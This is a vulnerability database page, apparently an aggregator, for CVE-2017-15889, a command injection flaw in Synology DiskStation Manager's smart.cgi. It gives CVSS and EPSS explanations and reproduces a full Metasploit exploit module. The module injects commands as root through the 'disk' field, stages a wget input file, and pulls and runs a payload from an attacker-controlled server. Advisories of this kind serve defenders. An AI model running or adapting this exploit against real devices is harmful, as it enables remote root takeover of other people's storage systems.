CVE-2017-15889 : Detail

CVE-2017-15889

8.8
/
High
Command Injection
A03-Injection
11.68%V3
Network
2017-12-04
19h00 +00:00
2024-09-16
17h34 +00:00
CVE.org
NVD
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CVE Descriptions

Command injection vulnerability in smart.cgi in Synology DiskStation Manager (DSM) before 5.2-5967-5 allows remote authenticated users to execute arbitrary commands via disk field.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 48514

Publication date : 2020-05-24
22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+) &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions < 5.2-5967-5, which allows the execution of arbitrary commands under root privileges after website authentication. The vulnerability is located in webman/modules/StorageManager/smart.cgi, which allows appending of a command to the device to be scanned. However, the command with drive is limited to 30 characters. A somewhat valid drive name is required, thus /dev/sd is used, even though it doesn't exist. To circumvent the character restriction, a wget input file is staged in /a, and executed to download our payload to /b. From there the payload is executed. A wfsdelay is required to give time for the payload to download, and the execution of it to run. }, 'Author' => [ 'Nigusu Kassahun', # Discovery 'h00die' # metasploit module ], 'References' => [ [ 'CVE', '2017-15889' ], [ 'EDB', '43190' ], [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ], [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ] ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => ['python'], 'Arch' => [ARCH_PYTHON], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependMigrate' => true, 'WfsDelay' => 10 }, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Nov 08 2017' ) ) register_options( [ Opt::RPORT(5000), OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']), OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']), OptString.new('PASSWORD', [true, 'The Password for Synology', '']) ] ) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def check vprint_status('Trying to detect installed version') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'), 'vars_get' => { 'host' => '' } }) if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}" build = $LAST_MATCH_INFO[:build] model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase } model = "DS#{model}" unless model =~ /^[A-Z]/ else vprint_error('Detection failed') return CheckCode::Unknown end vprint_status("Model #{model} with version #{version}-#{build} detected") case version when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1' return CheckCode::Appears when '5.2' return CheckCode::Appears if build < '5967-5' end CheckCode::Safe end def on_request_uri(cli, _request, cookie, token) print_good('HTTP Server request received, sending payload') send_response(cli, payload.encoded) print_status('Executing payload') inject_request(cookie, token, 'python b') end def inject_request(cookie, token, cmd = '') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'), 'cookie' => cookie, 'headers' => { 'X-SYNO-TOKEN' => token }, 'vars_post' => { 'action' => 'apply', 'operation' => 'quick', 'disk' => "/dev/sd`#{cmd}`" } }) end def login # If you try to debug login through the browser, you'll see that desktop.js calls # ux-all.js to do an RSA encrypted login. # Wowever in a stroke of luck Mrs. h00die caused # a power sag while tracing/debugging the loging, causing the NAS to power off. # when that happened, it failed to get the crypto vars, and defaulted to a # non-encrypted login, which seems to work just fine. greetz Mrs. h00die! res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'), 'vars_get' => { 'enable_syno_token' => 'yes' }, 'vars_post' => { 'username' => datastore['USERNAME'], 'passwd' => datastore['PASSWORD'], 'OTPcode' => '', '__cIpHeRtExT' => '', 'client_time' => Time.now.to_i, 'isIframeLogin' => 'yes' } }) if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body result = JSON.parse(json) fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error' if result['result'] == 'success' return res.get_cookies, result['SynoToken'] end fail_with(Failure::Unknown, "Unknown response: #{result}") end end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if datastore['SRVHOST'] == '0.0.0.0' fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') end begin print_status('Attempting Login') cookie, token = login start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req, cookie, token) end, 'Path' => '/' } }) print_status('Cleaning env') inject_request(cookie, token, cmd = 'rm -rf /a') inject_request(cookie, token, cmd = 'rm -rf b') command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//) command_space = 22 - "echo -n ''>>/a".length command_space -= 1 command.each_slice(command_space) do |a| a = a.join('') vprint_status("Staging wget with: echo -n '#{a}'>>/a") inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a") end print_status('Requesting payload pull') register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b') register_file_for_cleanup('/a') inject_request(cookie, token, cmd = 'wget -i /a -O b') # at this point we let the HTTP server call the last stage # wfsdelay should be long enough to hold out for everything to download and run rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end

Products Mentioned

Configuraton 0

Synology>>Diskstation_manager >> Version To (excluding) 5.2-5967-5

References